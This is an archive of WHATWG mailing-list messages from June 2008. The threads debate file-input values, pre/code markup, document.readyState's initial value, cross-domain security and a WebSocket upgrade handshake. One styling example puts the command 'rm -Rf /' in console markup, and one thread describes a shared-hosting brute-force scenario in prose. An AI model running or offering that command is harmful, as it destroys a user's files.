	<6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
Message-ID: <485EBA25.8010705@lachy.id.au>

Michael A. Puls II wrote:
> Anyway, the use case for .value is:
> 
> ...
>         <p>File to attach: <p>
>         <p><input type="file"
> onchange="document.getElementsByTagName('p')[0].innerHTML +=
> this.value;"></p>
> ...

How is that a use case?  Please explain why outputting the value of the 
control in an adjacent paragraph is useful at all and why authors would 
do it.  The value is visible in the control itself, so that seems 
unnecessary.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From edwardzyang at thewritingpot.com  Sun Jun 22 14:36:53 2008
From: edwardzyang at thewritingpot.com (Edward Z. Yang)
Date: Sun, 22 Jun 2008 17:36:53 -0400
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <20080622213212.GA9970@stripey.com>
References: <485EB490.2060101@thewritingpot.com>
	<20080622213212.GA9970@stripey.com>
Message-ID: <485EC5F5.6020400@thewritingpot.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Smylers wrote:
> Why would you need to -- surely you could just put the styling on the
> <code> instead (using pre + code to select only <code> elements inside
> <pre>-s)?

Lets say I want to place a background image of a computer behind spanses
of computer code, but a background image of a console for emulated
console data using samp and kbd.

With HTML 4, I would have done <pre class="code"> (or more likely, just
omitted it and assumed it was computer code by default unless otherwise)
and <pre class="console">.

With <pre><code>, you can't do that. <code> is an inline element, and
the background image doesn't get applied to it in any meaningful way.

I suppose one of the primary distinctions is that if you use
<pre><code>, it's usually because all of it's computer code.

- --
 Edward Z. Yang                        GnuPG: 0x869C48DA
 HTML Purifier <http://htmlpurifier.org> Anti-XSS Filter
 [[ 3FA8 E9A9 7385 B691 A6FC B3CB A933 BE7D 869C 48DA ]]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIXsX1qTO+fYacSNoRAgFhAKCFytkJ985PnqJDnDDQCfkUd4/EIwCeL9Mr
gqBmVDkEAT12wpOARzogoNc=
=XwlH
-----END PGP SIGNATURE-----


From Smylers at stripey.com  Sun Jun 22 14:32:12 2008
From: Smylers at stripey.com (Smylers)
Date: Sun, 22 Jun 2008 22:32:12 +0100
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <485EB490.2060101@thewritingpot.com>
References: <485EB490.2060101@thewritingpot.com>
Message-ID: <20080622213212.GA9970@stripey.com>

Edward Z. Yang writes:

> ... authors are recommended to use <pre><code> to wrap all of their
> programming code instead of a lone <pre>, if they wish to be fully
> semantic. This ... makes it extremely difficult to style pre as a
> block for code, as the only semantic indication that the contents of
> the pre block are computer code is its child. You'd end up having to
> say <pre class="code"><code> if you wanted to style pre as well.

Why would you need to -- surely you could just put the styling on the
<code> instead (using pre + code to select only <code> elements inside
<pre>-s)?

Smylers


From t.broyer at gmail.com  Sun Jun 22 15:10:17 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Mon, 23 Jun 2008 00:10:17 +0200
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <485EC5F5.6020400@thewritingpot.com>
References: <485EB490.2060101@thewritingpot.com>
	<20080622213212.GA9970@stripey.com>
	<485EC5F5.6020400@thewritingpot.com>
Message-ID: <a9699fd20806221510r449250tfaedfcef131a8548@mail.gmail.com>

On Sun, Jun 22, 2008 at 11:36 PM, Edward Z. Yang wrote:
>
> Smylers wrote:
>> Why would you need to -- surely you could just put the styling on the
>> <code> instead (using pre + code to select only <code> elements inside
>> <pre>-s)?
>
> Lets say I want to place a background image of a computer behind spanses
> of computer code, but a background image of a console for emulated
> console data using samp and kbd.
>
> With HTML 4, I would have done <pre class="code"> (or more likely, just
> omitted it and assumed it was computer code by default unless otherwise)
> and <pre class="console">.

Which you can do with HTML 5 too...

> With <pre><code>, you can't do that.

<pre class="code"><code>print "Hello world!"</code></pre>
<pre class="console"><samp>root at localhost&gt;</samp> <kbd>rm -Rf /</kbd></pre>

> <code> is an inline element, and
> the background image doesn't get applied to it in any meaningful way.

Wouldn't display:block fix this problem? (theoretically, using
margin:0 would too, IIRC)

> I suppose one of the primary distinctions is that if you use
> <pre><code>, it's usually because all of it's computer code.

Yep, so you'd use a class=console for your console samples and the
following CSS rule for <pre><code> (untested):

pre + code:only-child {
  display: block;
  background-image: url(computer.png);
}

-- 
Thomas Broyer


From shadow2531 at gmail.com  Sun Jun 22 15:21:13 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Sun, 22 Jun 2008 18:21:13 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485EBA25.8010705@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
	<6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
	<485EBA25.8010705@lachy.id.au>
Message-ID: <6b9c91b20806221521s3d428038vca6c5b9ac78bf368@mail.gmail.com>

On 6/22/08, Lachlan Hunt <lachlan.hunt at lachy.id.au> wrote:
> Michael A. Puls II wrote:
>
> > Anyway, the use case for .value is:
> >
> > ...
> >        <p>File to attach: <p>
> >        <p><input type="file"
> > onchange="document.getElementsByTagName('p')[0].innerHTML
> +=
> > this.value;"></p>
> > ...
> >
>
>  How is that a use case?  Please explain why outputting the value of the
> control in an adjacent paragraph is useful at all and why authors would do
> it.  The value is visible in the control itself, so that seems unnecessary.

The file is visible in the control itself, but:

If the control is not long enough, you might not see the filename
unless you scroll in the field or the script resizes based on a
multiple of the length of .value. Even then, the path might be
considered noise.

An author might provide the filenames in a more friendly and readable way.

As another example, imagine you have <input type="file"> and onchange,
it adds a filename to a SELECT element and resizes the element.

Then, the select has an onchange listener itself. When you select a
different file in the SELECT, you can make something happen.

For example, you can browse to .wav files and add them to a select
playlist. Then, you can select each of the filenames to have them play
with Audio() for example. Attached is a super basic example of that.

Instead of Audio(), you might load theora videos and play them with
the VideoLan plugin or load wmv files and play them with WMP.

-- 
Michael
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080622/fb258fe1/attachment.html>

From dan at fabulich.com  Sun Jun 22 15:55:49 2008
From: dan at fabulich.com (Dan Fabulich)
Date: Sun, 22 Jun 2008 15:55:49 -0700 (Pacific Daylight Time)
Subject: [whatwg] document.readyState and its initial value
Message-ID: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>


document.readyState was added to HTML5 in April of this year.
http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2008/000652.html

http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current
> Each document has a current document readiness. When a Document object 
> is created, it must have its current document readiness set to the 
> string "loading". Various algorithms during page loading affect this 
> value. When the value is set, the user agent must fire a simple event 
> called readystatechanged at the Document object.

As far as I can tell via google, there has been no discussion of this 
property on lists.whatwg.org, so I'd like to suggest a small enhancement 
to the spec.

HTML5 says that the current document readiness should be "loading" when 
the document is created; instead the initial state should be 
"uninitialized".

document.readyState was initially defined by Microsoft as a proprietary 
extension to DOM.  Here's their MSDN documentation of document.readyState:

http://msdn.microsoft.com/en-us/library/ms534359(VS.85).aspx
> An object's state is initially set to uninitialized, and then to
> loading. When data loading is complete, the state of the link object
> passes through the loaded and interactive states to reach the complete
> state.

I believe HTML5 should change to agree with Microsoft on this point. 
Safari and Opera have implemented document.readyState to agree with 
Microsoft and I don't think it's appropriate for HTML5 to break new ground 
here.  This matters to me because I'm trying to fix Firefox to support 
this property, and we need to know what the initial state should be.

The point is small and not very important because it's almost impossible 
to encounter an HTML document in Internet Explorer in the "uninitialized" 
state.  But I think the fix is small and uncontroversial:

Index: source
===================================================================
--- source      (revision 1790)
+++ source      (working copy)
@@ -4613,7 +4613,7 @@
    <p>Each document has a <dfn>current document readiness</dfn>. When a
    <code>Document</code> object is created, it must have its
    <span>current document readiness</span> set to the string
-  "loading". Various algorithms during page loading affect this
+  "uninitialized". Various algorithms during page loading affect this
    value. When the value is set, the user agent must <span>fire a
    simple event</span> called <code
    title="event-readystatechanged">readystatechanged</code> at the


From ian at hixie.ch  Sun Jun 22 17:59:05 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 23 Jun 2008 00:59:05 +0000 (UTC)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
Message-ID: <Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>

On Sun, 22 Jun 2008, Dan Fabulich wrote:
> 
> The point is small and not very important because it's almost impossible 
> to encounter an HTML document in Internet Explorer in the 
> "uninitialized" state. But I think the fix is small and uncontroversial:

Actually the testability is the most important aspect. Could you provide 
some tests that show when IE switches from "uninitialised" to "loading" 
and so on? At the moment the spec is as close as I could get to what IE 
actually does. (MSDN is woefully inaccurate when it comes to these things, 
so I wouldn't pay too much attention to it.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From dan at fabulich.com  Sun Jun 22 19:17:14 2008
From: dan at fabulich.com (Dan Fabulich)
Date: Sun, 22 Jun 2008 19:17:14 -0700 (Pacific Daylight Time)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
Message-ID: <alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>

Ian Hickson wrote:

> On Sun, 22 Jun 2008, Dan Fabulich wrote:
>>
>> The point is small and not very important because it's almost impossible
>> to encounter an HTML document in Internet Explorer in the
>> "uninitialized" state. But I think the fix is small and uncontroversial:
>
> Actually the testability is the most important aspect. Could you provide
> some tests that show when IE switches from "uninitialised" to "loading"
> and so on? At the moment the spec is as close as I could get to what IE
> actually does. (MSDN is woefully inaccurate when it comes to these things,
> so I wouldn't pay too much attention to it.)

As far as I know I can't exhibit a test demonstrating IE switching from 
"uninitialized" to "loading."  The document is normally in the "loading" 
state before you get your hands on it.  If testability is the top priority 
then the spec probably shouldn't change.

There is a way to get a document in the "uninitialized" state using 
document.createDocumentFragment().  IE erroneously creates a document in 
that case instead of a document fragment; the document has readyState 
"uninitialized".  However, there is no way to take that document and get 
it into a "loading" state as far as I know (obvious methods like .open() 
just throw errors instead).

Furthermore, MSDN *does* claim that "the states through which an object 
passes are determined by that object; an object can skip certain states 
(for example, interactive) if the state does not apply to that object."

So, the current state of the spec is certainly defensible.

However, I note that it would be legal under the terms of the MSDN 
specification if some future version of IE *did* expose a way to make an 
uninitialized document on which you could later call .open(), and the 
HTML5 spec as-is would make that illegal.

It's tempting to say that the readyState can start with either 
"uninitialized" or "loading"; certainly it's odd that we'd just hike it up 
to "loading" because our test mechanisms are usually too coarse-grained to 
detect a readyState in its "uninitialized" state.

But, oddity is par for the course in DOM, so I guess we'll just follow the 
HTML 5 spec as-is, initialize readyState to "loading" in the object 
constructor, and keep our fingers crossed.

-Dan


From ian at hixie.ch  Sun Jun 22 19:56:18 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 23 Jun 2008 02:56:18 +0000 (UTC)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
	<alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
Message-ID: <Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>

On Sun, 22 Jun 2008, Dan Fabulich wrote:
> 
> As far as I know I can't exhibit a test demonstrating IE switching from 
> "uninitialized" to "loading."  The document is normally in the "loading" 
> state before you get your hands on it.

Ok, that matches my experience too -- that's why the spec says what it 
says. :-) (The spec, when it is documenting IE features, is more about 
documenting actual IE behaviour than about MSDN, which is notoriously 
unreliable.)


> However, I note that it would be legal under the terms of the MSDN 
> specification if some future version of IE *did* expose a way to make an 
> uninitialized document on which you could later call .open(), and the 
> HTML5 spec as-is would make that illegal.

Should that happen, we can revisit the issue... of course at that point IE 
would be non-conforming, so maybe it would just be considered a bug. :-)


> It's tempting to say that the readyState can start with either 
> "uninitialized" or "loading"; certainly it's odd that we'd just hike it 
> up to "loading" because our test mechanisms are usually too 
> coarse-grained to detect a readyState in its "uninitialized" state.

Well, it's not so much about our testing mechanisms so much as about what 
Web authors have to deal with. If there's no way to ever see that it 
starts in anything other than "loading", then for all intents and 
purposes, it starts in "loading".


> But, oddity is par for the course in DOM, so I guess we'll just follow 
> the HTML 5 spec as-is, initialize readyState to "loading" in the object 
> constructor, and keep our fingers crossed.

If you find any problems with doing this, please let me know, so we can 
update the spec!

Cheers,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From frode at seria.no  Mon Jun 23 00:27:19 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 09:27:19 +0200
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
	<alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>
Message-ID: <31fb000f0806230027y42ee32dqd2c55a948d65a4c1@mail.gmail.com>

>> As far as I know I can't exhibit a test demonstrating IE switching from
>> "uninitialized" to "loading."  The document is normally in the "loading"
>> state before you get your hands on it.
> Ok, that matches my experience too -- that's why the spec says what it
> says. :-) (The spec, when it is documenting IE features, is more about
> documenting actual IE behaviour than about MSDN, which is notoriously
> unreliable.)

1. Which readystate does an img object have, before it is added to the
DOM? Example:

var i = document.createElement("IMG");
alert(i.readystate); // afaict the state SHOULD be uninitialized here...
i.onreadystatechange(function(){alert(this.readystate);}
i.src = "some_url.jpg";
alert(i.readystate);


The example applies to iframes as well, i believe.


2. How can we listen to the onreadystatechange, if we want to trigger
an event when the object starts loading? It will not change readystate
since it was already in the state loading.

> Should that happen, we can revisit the issue... of course at that point IE
> would be non-conforming, so maybe it would just be considered a bug. :-)
>
>
>> It's tempting to say that the readyState can start with either
>> "uninitialized" or "loading"; certainly it's odd that we'd just hike it
>> up to "loading" because our test mechanisms are usually too
>> coarse-grained to detect a readyState in its "uninitialized" state.

The state should not be "loading" when the object is in fact, not
loading nor in any of the other states...

Frode


From frode at seria.no  Mon Jun 23 00:34:27 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 09:34:27 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <C4815D1D.5810%adrian.sutton@ephox.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
Message-ID: <31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>

> Actually, DNS servers, particularly for reverse DNS lookups, are out of the
> control of a huge number of authors on the web. Shared hosting accounts for
> instance don't have a unique reverse IP look up. There are also plenty of


The reverse DNS spec specifically allows one IP address to have
multiple reverse domains.


> people who don't control their DNS at all for whatever reason.


1. People that do not have control over the reverse lookup seldom have
control over multiple servers and seldom require to distribute load
like this.

2. The script should be allowed to connect to its origin server (as
unsigned Java applets are allowed to, today).

3. Hosting providers will add tools allowing their customers to
configure this security framework, if it is required - but again; if
you are on a shared server you most likely will not need to connect to
multiple servers. It will also usually suffice to have a proxy on the
server (like many people do for XMLHttpRequests now).


From giecrilj at stegny.2a.pl  Mon Jun 23 00:49:24 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Mon, 23 Jun 2008 09:49:24 +0200
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
Message-ID: <0BB335FEAE6A4F35B9C6CA209D2E7795@POCZTOWIEC>

Editorial remarks: 
1. 
The links to current document readiness are reflexive and should be removed.
2. 
The page loading process mentioned should be linked to the relevant section.

It would be convenient for the reader 
and 
it 
would also provide 
a visual indication 
that it is a reference to a locally defined technical term.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Dan Fabulich
Sent: Monday, June 23, 2008 12:56 AM
To: whatwg at whatwg.org
Subject: [whatwg] document.readyState and its initial value


document.readyState was added to HTML5 in April of this year.
http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2008/000652.htm
l

http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current
> Each document has a current document readiness. When a Document object 
> is created, it must have its current document readiness set to the 
> string "loading". Various algorithms during page loading affect this 
> value. When the value is set, the user agent must fire a simple event 
> called readystatechanged at the Document object.

As far as I can tell via google, there has been no discussion of this 
property on lists.whatwg.org, so I'd like to suggest a small enhancement 
to the spec.

HTML5 says that the current document readiness should be "loading" when 
the document is created; instead the initial state should be 
"uninitialized".

document.readyState was initially defined by Microsoft as a proprietary 
extension to DOM.  Here's their MSDN documentation of document.readyState:

http://msdn.microsoft.com/en-us/library/ms534359(VS.85).aspx
> An object's state is initially set to uninitialized, and then to
> loading. When data loading is complete, the state of the link object
> passes through the loaded and interactive states to reach the complete
> state.

I believe HTML5 should change to agree with Microsoft on this point. 
Safari and Opera have implemented document.readyState to agree with 
Microsoft and I don't think it's appropriate for HTML5 to break new ground 
here.  This matters to me because I'm trying to fix Firefox to support 
this property, and we need to know what the initial state should be.

The point is small and not very important because it's almost impossible 
to encounter an HTML document in Internet Explorer in the "uninitialized" 
state.  But I think the fix is small and uncontroversial:

Index: source
===================================================================
--- source      (revision 1790)
+++ source      (working copy)
@@ -4613,7 +4613,7 @@
    <p>Each document has a <dfn>current document readiness</dfn>. When a
    <code>Document</code> object is created, it must have its
    <span>current document readiness</span> set to the string
-  "loading". Various algorithms during page loading affect this
+  "uninitialized". Various algorithms during page loading affect this
    value. When the value is set, the user agent must <span>fire a
    simple event</span> called <code
    title="event-readystatechanged">readystatechanged</code> at the



From annevk at opera.com  Mon Jun 23 03:11:25 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 23 Jun 2008 12:11:25 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
Message-ID: <op.uc649bax64w2qv@annevk-t60.oslo.opera.com>

On Mon, 23 Jun 2008 09:34:27 +0200, Frode B?rli <frode at seria.no> wrote:
> [...]

I'd suggest looking into the work the W3C has been doing on this for the  
past two years:

   http://dev.w3.org/2006/webapi/XMLHttpRequest-2/
   http://dev.w3.org/2006/waf/access-control/


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From frode at seria.no  Mon Jun 23 05:18:22 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 14:18:22 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
	<op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>

Hi! Thank you for pointing to that document. I quickly scanned trough
it but I have a small problem with the specification: does it require
web servers to check the Origin header? What happens with older web
applications that do not check this header?

Frode


2008/6/23 Anne van Kesteren <annevk at opera.com>:
> On Mon, 23 Jun 2008 09:34:27 +0200, Frode B?rli <frode at seria.no> wrote:
>>
>> [...]
>
> I'd suggest looking into the work the W3C has been doing on this for the
> past two years:
>
>  http://dev.w3.org/2006/webapi/XMLHttpRequest-2/
>  http://dev.w3.org/2006/waf/access-control/
>
>
> --
> Anne van Kesteren
> <http://annevankesteren.nl/>
> <http://www.opera.com/>
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From annevk at opera.com  Mon Jun 23 09:09:16 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 23 Jun 2008 18:09:16 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
	<op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>
Message-ID: <op.uc7ltqch64w2qv@annevk-t60.oslo.opera.com>

On Mon, 23 Jun 2008 14:18:22 +0200, Frode B?rli <frode at seria.no> wrote:
> Hi! Thank you for pointing to that document. I quickly scanned trough
> it but I have a small problem with the specification: does it require
> web servers to check the Origin header? What happens with older web
> applications that do not check this header?

It's not strictly required, but highly recommended. Older Web applications  
wouldn't opt-in and would therefore be as vulnerable as they are today.  
Anyway, this is the wrong list to debate that specification. You want  
public-webapps at w3.org.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ian at hixie.ch  Mon Jun 23 19:01:14 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 24 Jun 2008 02:01:14 +0000 (UTC)
Subject: [whatwg] commit-watchers mail format
In-Reply-To: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>
References: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806240200560.13974@hixie.dreamhostps.com>

On Sat, 21 Jun 2008, Philip Taylor wrote:
>
> So it could be nice if the commit message was in the subject line

Done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From jonas at sicking.cc  Tue Jun 24 01:03:38 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Tue, 24 Jun 2008 01:03:38 -0700
Subject: [whatwg] What should the value attribute be for multi-file
 upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <4860AA5A.70303@sicking.cc>

Adele Peterson wrote:
> Hi all,
> 
> I'm looking at the Web Forms 2 specification for the multi-file upload 
> control that uses the min/max attributes.  When multiple files are 
> selected, its unclear what the value attribute should contain.  It could 
> contain just the first filename, or a comma separated list of all of the 
> filenames.  I think it will be useful though to add something about this 
> in the specification for consistency.

Firefox 3 exposes an API that would let you get all filenames if 
multiple files were selected. The .files property returns a (live) list 
of file objects, each object has the following API:

interface DOMFile
{
   readonly attribute DOMString fileName;
   readonly attribute unsigned long long fileSize;

   DOMString getAsText(in DOMString encoding);
   DOMString getAsDataURL();
   DOMString getAsBinary();
};

This of course doesn't answer the question of what to return for .value. 
I would say return the first filename. Trying to encode all filenames in 
a single string is just going to be more complicated than using the 
above API, and returning an array is complicated API wise, and also 
seems more complicated for users than using the above API.

/ Jonas


From phil127 at gmail.com  Tue Jun 24 07:29:26 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Tue, 24 Jun 2008 16:29:26 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
	<f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>
	<31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
Message-ID: <f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>

(Sorry if this counts as thread necromancy. The discussion just didn't
seem to have come to an end yet.)

On Fri, Jun 20, 2008 at 3:55 PM, Frode B?rli <frode at seria.no> wrote:
> I would manage, but i do not like the implementation (it is much more
> complex than it needs to be). I would basically hate doing extra work
> because the implementation wasnt good enough.
>
> It is worth spending months improving the implementation here, if it
> saves only one minute of work for each of the millions of web
> developers out there, in the future.

Alright, point taken. You're of course absolutely right with that :)
I agree, it would be very convenient to basically set up and control a
web app in a single connection. However, I think there are valid use
cases for just the opposite set up as well. So, if we use a HTTP
handshake, we should provide two ways.

> If it is impossible to use HTML, then it is absolutely required that
> Session ID is added as a standard header - since that will be the only
> way of linking the generated HTML with the separate persistent
> connection. You can't assume that an application server or the web
> server will be able to parse the cookie, since the cookie format is
> different for each programming language/application.

This depends on the layer where the session management takes place.
For example, PHP's existing session handling system already uses
cookies. So, a hypothetical future "PPHP" version of PHP could extend
the session system to support this.
This feature couldn't be implemented in the afromentioned "few lines
of perl" though.

If this feature is still wanted in a standardized way, I think the
idea to have the server advertise that it wants to change the protocol
but to let the client do the actual switch would be the best way.

>The HTTP 101 Switching Protocols can be sent by the server, without
>the client asking for a protocol change. The only requirement is that
>the server sends 426 Upgrade Required first, then specifies which
>protocol to switch to. The protocol switched to could possibly be the
>one proposed in the beginning of this thread.

I don't see how we could use 426 as a notification that the client
should open a WebSocket connection. 426 is still an error code, so if
you send it as the reply to the initial GET request, you can't be sure
the HTML file you pushed gets interpreted the correct way. While this
would probably work, it would be semantically unclean at best.

However, the TLS -over-HTTP spec states "As specified in HTTP/1.1, the
server MAY include an Upgrade
   header in any response other than 101 or 426 to indicate a
   willingness to switch to any (combination) of the protocols listed."

<http://www.ietf.org/rfc/rfc2817.txt>

I can't seem to find any mention about this in the HTTP spec though.
Is this implemented or at least widely known?
Maybe you could reasoneably assume that a proxy keeps a connection
open if an upgrade seems imminent?

If this works, we could extend Michael's original algorithm as follows
(this would be in addition to the "new WebSocket()" interface and
would not replace it)

PROPOSAL: Turning an existing HTTP connection into a WebSocket connection:

If the server sends a Connection: Upgrade header and an Upgrade header
with a "WebSocket" token as part of a normal response and if the
resource fetched established a browsing contest, the client must not
issue any other requests on that connection and must initiate a
protocol switch.
After the switch has finished, the client would expose the connection
to the application via a DefaultWebSocket property or something
similar.

An exchange could look like this:

C: GET /uri HTTP/1.1
C: Host: example.com
C: [ ... usual headers ... ]
C:

S: HTTP/1.1 200 OK
S: Content-Type: text/html
S: [ ... usual headers ... ]
S: Upgrade: WebSocket/1.0
S: Connection: Upgrade
S:
S: [ ... body ... ]

C: OPTIONS /uri HTTP/1.1
C: Host: example.com
C: Upgrade: WebSocket/1.0
C: Connection: Upgrade
C:

S: HTTP/1.1 101 Switching Protocols
S: Upgrade: WebSocket/1.0
S: Connection: Upgrade
S:

C/S: [ ... application specific data ... ]

Because the connection would be same-origin pretty much per
definition, no access checks would be needed in that situation.

Would something like this be doable and wanted?

>
>> On Fri, Jun 20, 2008 at 1:52 PM, Frode B?rli <frode at seria.no> wrote:
>>> I have a proposal for a cross domain security framework that i think
>>> should be implemented in browsers, java applets, flash applets and
>>> more.
>> If we use any kind of verification that happens outside the
>> connections, we should at least a hint inside the connection, which
>> host the browser wants to connect though. I think raw TCP connections
>> would cause major security holes with shared hosts, even if
>> cross-domain connections need a DNS record.
>
> Yes, if we are using the WebSocket - but not if using the TCP
> connection. Nobody will be allowed to run a separate application that
> listens on a port on a shared server anyway.
>
>> Consider the following scenario:
>>
>> Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
>> They have different domains but happen to be on the same IP. Now Eve
>> wants do bruteforce Bob's password-protected web application. So she
>> adds a script to her relatively popular site that does the following:
>
> So Bob will DDOS his own server? And my proposals allows using
> hostnames OR ip-addresses in the DNS TXT record, so unless Eve add her
> own IP-address to the DNS then Bob can't create scripts that are
> allowed to access her hostname.

I'm sorry, if my wording was unclear. I was talking about a typical
shared hosting setup where customers get FTP access to a directory
where they can upload pages and scripts but for example no shell
access. Bob and Eve would have different directories on the same
server. Requests to their sites would go to the same port on the same
IP. The server would use the Host header to determine which request
goes to which site. In the scenario, Eve would try to attack Bob's
application.

>
> Why could he not just do a local connect to the port? Besides; if you
> have login access to the same server as your target - there are a lot
> much more efficient ways to find access information.

Eve could connect directly. However, then her IP would be in Bob's
